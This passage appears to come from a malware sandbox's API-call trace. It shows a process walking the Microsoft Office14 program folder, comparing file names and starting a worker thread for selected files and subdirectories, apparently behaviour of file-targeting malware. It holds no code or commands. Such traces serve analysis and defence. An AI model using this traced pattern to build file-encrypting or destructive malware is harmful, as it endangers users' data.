_Dest=0x8cfd80, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0159.482] wcscat (in: _Dest=0x8cfd80, _Source="ONENOTEIRM.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ONENOTEIRM.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\ONENOTEIRM.XML" [0159.483] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8cfd80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe34 [0159.484] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb7e9d00, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0x6bf1cb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb7e9d00, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0x3bd80, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONENOTEM.EXE", cAlternateFileName="")) returned 1 [0159.484] wcscmp (_String1="ONENOTEM.EXE", _String2=".") returned 1 [0159.484] wcscmp (_String1="ONENOTEM.EXE", _String2="..") returned 1 [0159.484] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb7e9d00, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0x597f2350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb7e9d00, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0x26d70, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONENOTEMANAGED.DLL", cAlternateFileName="ONENOT~1.DLL")) returned 1 [0159.484] wcscmp (_String1="ONENOTEMANAGED.DLL", _String2=".") returned 1 [0159.484] wcscmp (_String1="ONENOTEMANAGED.DLL", _String2="..") returned 1 [0159.484] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c5ccd00, ftCreationTime.dwHighDateTime=0x1cacf90, ftLastAccessTime.dwLowDateTime=0x6bf42cb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2c5ccd00, ftLastWriteTime.dwHighDateTime=0x1cacf90, nFileSizeHigh=0x0, nFileSizeLow=0x182970, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONFILTER.DLL", cAlternateFileName="")) returned 1 [0159.484] wcscmp (_String1="ONFILTER.DLL", _String2=".") returned 1 [0159.484] wcscmp (_String1="ONFILTER.DLL", _String2="..") returned 1 [0159.484] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb7e9d00, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0x6bf68e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb7e9d00, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0x135a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONLNTCOMLIB.DLL", cAlternateFileName="ONLNTC~1.DLL")) returned 1 [0159.484] wcscmp (_String1="ONLNTCOMLIB.DLL", _String2=".") returned 1 [0159.484] wcscmp (_String1="ONLNTCOMLIB.DLL", _String2="..") returned 1 [0159.484] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d8dfa00, ftCreationTime.dwHighDateTime=0x1cacf90, ftLastAccessTime.dwLowDateTime=0x6c157ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2d8dfa00, ftLastWriteTime.dwHighDateTime=0x1cacf90, nFileSizeHigh=0x0, nFileSizeLow=0xd3e368, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONMAIN.DLL", cAlternateFileName="")) returned 1 [0159.484] wcscmp (_String1="ONMAIN.DLL", _String2=".") returned 1 [0159.484] wcscmp (_String1="ONMAIN.DLL", _String2="..") returned 1 [0159.484] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8121f200, ftCreationTime.dwHighDateTime=0x1cab7f0, ftLastAccessTime.dwLowDateTime=0x598184b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8121f200, ftLastWriteTime.dwHighDateTime=0x1cab7f0, nFileSizeHigh=0x0, nFileSizeLow=0xa8180, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONPPTAddin.dll", cAlternateFileName="ONPPTA~1.DLL")) returned 1 [0159.484] wcscmp (_String1="ONPPTAddin.dll", _String2=".") returned 1 [0159.484] wcscmp (_String1="ONPPTAddin.dll", _String2="..") returned 1 [0159.484] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8121f200, ftCreationTime.dwHighDateTime=0x1cab7f0, ftLastAccessTime.dwLowDateTime=0x59864770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8121f200, ftLastWriteTime.dwHighDateTime=0x1cab7f0, nFileSizeHigh=0x0, nFileSizeLow=0xb9978, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONWordAddin.dll", cAlternateFileName="ONWORD~1.DLL")) returned 1 [0159.484] wcscmp (_String1="ONWordAddin.dll", _String2=".") returned 1 [0159.484] wcscmp (_String1="ONWordAddin.dll", _String2="..") returned 1 [0159.484] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd041f000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x1bbb88, dwReserved0=0x0, dwReserved1=0x0, cFileName="ORGCHART.DLL", cAlternateFileName="")) returned 1 [0159.484] wcscmp (_String1="ORGCHART.DLL", _String2=".") returned 1 [0159.484] wcscmp (_String1="ORGCHART.DLL", _String2="..") returned 1 [0159.485] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd0491420, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0xaeb88, dwReserved0=0x0, dwReserved1=0x0, cFileName="ORGCHWIZ.DLL", cAlternateFileName="")) returned 1 [0159.485] wcscmp (_String1="ORGCHWIZ.DLL", _String2=".") returned 1 [0159.485] wcscmp (_String1="ORGCHWIZ.DLL", _String2="..") returned 1 [0159.485] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd64609a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x14590, dwReserved0=0x0, dwReserved1=0x0, cFileName="ORGWIZ.EXE", cAlternateFileName="")) returned 1 [0159.485] wcscmp (_String1="ORGWIZ.EXE", _String2=".") returned 1 [0159.485] wcscmp (_String1="ORGWIZ.EXE", _String2="..") returned 1 [0159.485] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd64d2dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x6a798, dwReserved0=0x0, dwReserved1=0x0, cFileName="ORMELEMS.DLL", cAlternateFileName="")) returned 1 [0159.485] wcscmp (_String1="ORMELEMS.DLL", _String2=".") returned 1 [0159.485] wcscmp (_String1="ORMELEMS.DLL", _String2="..") returned 1 [0159.485] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0675200, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x830db760, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa0675200, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x11990, dwReserved0=0x0, dwReserved1=0x0, cFileName="ORMMODEL.MDL", cAlternateFileName="")) returned 1 [0159.485] wcscmp (_String1="ORMMODEL.MDL", _String2=".") returned 1 [0159.485] wcscmp (_String1="ORMMODEL.MDL", _String2="..") returned 1 [0159.485] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x93bdb0 [0159.485] wcscpy (in: _Dest=0x93bdb0, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0159.485] wcscat (in: _Dest=0x93bdb0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0159.485] wcscat (in: _Dest=0x93bdb0, _Source="ORMMODEL.MDL" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ORMMODEL.MDL") returned="C:\\Program Files\\Microsoft Office\\Office14\\ORMMODEL.MDL" [0159.485] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93bdb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14e0 [0159.486] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84eac400, ftCreationTime.dwHighDateTime=0x1cabc89, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x84eac400, ftLastWriteTime.dwHighDateTime=0x1cabc89, nFileSizeHigh=0x0, nFileSizeLow=0x3d05, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPP.HTM", cAlternateFileName="")) returned 1 [0159.486] wcscmp (_String1="OSPP.HTM", _String2=".") returned 1 [0159.486] wcscmp (_String1="OSPP.HTM", _String2="..") returned 1 [0159.486] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x68) returned 0x8f17c8 [0159.486] wcscpy (in: _Dest=0x8f17c8, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0159.486] wcscat (in: _Dest=0x8f17c8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0159.486] wcscat (in: _Dest=0x8f17c8, _Source="OSPP.HTM" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OSPP.HTM") returned="C:\\Program Files\\Microsoft Office\\Office14\\OSPP.HTM" [0159.486] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f17c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa50 [0159.488] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84eac400, ftCreationTime.dwHighDateTime=0x1cabc89, ftLastAccessTime.dwLowDateTime=0x598fccf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x84eac400, ftLastWriteTime.dwHighDateTime=0x1cabc89, nFileSizeHigh=0x0, nFileSizeLow=0xc119, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPP.VBS", cAlternateFileName="")) returned 1 [0159.488] wcscmp (_String1="OSPP.VBS", _String2=".") returned 1 [0159.488] wcscmp (_String1="OSPP.VBS", _String2="..") returned 1 [0159.488] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x68) returned 0x8f1218 [0159.488] wcscpy (in: _Dest=0x8f1218, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0159.488] wcscat (in: _Dest=0x8f1218, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0159.488] wcscat (in: _Dest=0x8f1218, _Source="OSPP.VBS" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OSPP.VBS") returned="C:\\Program Files\\Microsoft Office\\Office14\\OSPP.VBS" [0159.488] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f1218, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa58 [0159.495] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34af8800, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x34af8800, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0xa160, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLACCT.DLL", cAlternateFileName="")) returned 1 [0159.495] wcscmp (_String1="OUTLACCT.DLL", _String2=".") returned 1 [0159.495] wcscmp (_String1="OUTLACCT.DLL", _String2="..") returned 1 [0159.495] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7df9900, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe7df9900, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x28960, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLCTL.DLL", cAlternateFileName="")) returned 1 [0159.495] wcscmp (_String1="OUTLCTL.DLL", _String2=".") returned 1 [0159.495] wcscmp (_String1="OUTLCTL.DLL", _String2="..") returned 1 [0159.495] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc37fa400, ftCreationTime.dwHighDateTime=0x1ca0b28, ftLastAccessTime.dwLowDateTime=0x6c393490, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc37fa400, ftLastWriteTime.dwHighDateTime=0x1ca0b28, nFileSizeHigh=0x0, nFileSizeLow=0x380000, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLFLTR.DAT", cAlternateFileName="")) returned 1 [0159.495] wcscmp (_String1="OUTLFLTR.DAT", _String2=".") returned 1 [0159.495] wcscmp (_String1="OUTLFLTR.DAT", _String2="..") returned 1 [0159.495] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x93cb48 [0159.495] wcscpy (in: _Dest=0x93cb48, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0159.495] wcscat (in: _Dest=0x93cb48, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0159.495] wcscat (in: _Dest=0x93cb48, _Source="OUTLFLTR.DAT" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OUTLFLTR.DAT") returned="C:\\Program Files\\Microsoft Office\\Office14\\OUTLFLTR.DAT" [0159.496] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93cb48, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa5c [0159.497] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3eeae600, ftCreationTime.dwHighDateTime=0x1ca5083, ftLastAccessTime.dwLowDateTime=0x59995270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3eeae600, ftLastWriteTime.dwHighDateTime=0x1ca5083, nFileSizeHigh=0x0, nFileSizeLow=0xab940, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLFLTR.DLL", cAlternateFileName="")) returned 1 [0159.497] wcscmp (_String1="OUTLFLTR.DLL", _String2=".") returned 1 [0159.497] wcscmp (_String1="OUTLFLTR.DLL", _String2="..") returned 1 [0159.497] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd250400, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x599bb3d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd250400, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0xaff88, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLMIME.DLL", cAlternateFileName="")) returned 1 [0159.497] wcscmp (_String1="OUTLMIME.DLL", _String2=".") returned 1 [0159.497] wcscmp (_String1="OUTLMIME.DLL", _String2="..") returned 1 [0159.497] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34af8800, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0x6cc5a5b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x34af8800, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0x175ed60, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLOOK.EXE", cAlternateFileName="")) returned 1 [0159.497] wcscmp (_String1="OUTLOOK.EXE", _String2=".") returned 1 [0159.497] wcscmp (_String1="OUTLOOK.EXE", _String2="..") returned 1 [0159.497] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d147f00, ftCreationTime.dwHighDateTime=0x1cac9af, ftLastAccessTime.dwLowDateTime=0x6cc5a5b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d147f00, ftLastWriteTime.dwHighDateTime=0x1cac9af, nFileSizeHigh=0x0, nFileSizeLow=0x4b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLOOK.EXE.MANIFEST", cAlternateFileName="OUTLOO~1.MAN")) returned 1 [0159.497] wcscmp (_String1="OUTLOOK.EXE.MANIFEST", _String2=".") returned 1 [0159.497] wcscmp (_String1="OUTLOOK.EXE.MANIFEST", _String2="..") returned 1 [0159.497] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x80) returned 0x12c51958 [0159.497] wcscpy (in: _Dest=0x12c51958, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0159.497] wcscat (in: _Dest=0x12c51958, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0159.497] wcscat (in: _Dest=0x12c51958, _Source="OUTLOOK.EXE.MANIFEST" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OUTLOOK.EXE.MANIFEST") returned="C:\\Program Files\\Microsoft Office\\Office14\\OUTLOOK.EXE.MANIFEST" [0159.497] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12c51958, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa60 [0159.498] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5133d8d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70c9f7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70c9f7b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookAutoDiscover", cAlternateFileName="OUTLOO~1")) returned 1 [0159.498] wcscmp (_String1="OutlookAutoDiscover", _String2=".") returned 1 [0159.498] wcscmp (_String1="OutlookAutoDiscover", _String2="..") returned 1 [0159.498] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7e) returned 0x12c50e30 [0159.498] wcscpy (in: _Dest=0x12c50e30, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0159.498] wcscat (in: _Dest=0x12c50e30, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0159.499] wcscat (in: _Dest=0x12c50e30, _Source="OutlookAutoDiscover" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover" [0159.499] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x12c50e30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa64 [0159.500] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34af8800, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0x59a53950, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x34af8800, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0x5f190, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLPH.DLL", cAlternateFileName="")) returned 1 [0159.500] wcscmp (_String1="OUTLPH.DLL", _String2=".") returned 1 [0159.500] wcscmp (_String1="OUTLPH.DLL", _String2="..") returned 1 [0159.500] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34af8800, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0x59c42b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x34af8800, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0xe558, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLRPC.DLL", cAlternateFileName="")) returned 1 [0161.439] wcscmp (_String1="OUTLRPC.DLL", _String2=".") returned 1 [0161.439] wcscmp (_String1="OUTLRPC.DLL", _String2="..") returned 1 [0161.439] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd250400, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x6ccf2b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd250400, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x11770, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLVBS.DLL", cAlternateFileName="")) returned 1 [0161.439] wcscmp (_String1="OUTLVBS.DLL", _String2=".") returned 1 [0161.439] wcscmp (_String1="OUTLVBS.DLL", _String2="..") returned 1 [0161.439] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59d27370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6ce49790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6ce49790, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PAGESIZE", cAlternateFileName="")) returned 1 [0161.439] wcscmp (_String1="PAGESIZE", _String2=".") returned 1 [0161.439] wcscmp (_String1="PAGESIZE", _String2="..") returned 1 [0161.439] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x68) returned 0x8f1528 [0161.440] wcscpy (in: _Dest=0x8f1528, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0161.440] wcscat (in: _Dest=0x8f1528, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0161.440] wcscat (in: _Dest=0x8f1528, _Source="PAGESIZE" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" [0162.451] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8f1528, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xde8 [0162.452] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd651f080, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x755a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDSBASE.DLL", cAlternateFileName="")) returned 1 [0162.452] wcscmp (_String1="PDSBASE.DLL", _String2=".") returned 1 [0162.452] wcscmp (_String1="PDSBASE.DLL", _String2="..") returned 1 [0162.453] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd09c6440, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0xecd70, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE.DLL", cAlternateFileName="")) returned 1 [0162.453] wcscmp (_String1="PE.DLL", _String2=".") returned 1 [0162.453] wcscmp (_String1="PE.DLL", _String2="..") returned 1 [0162.453] 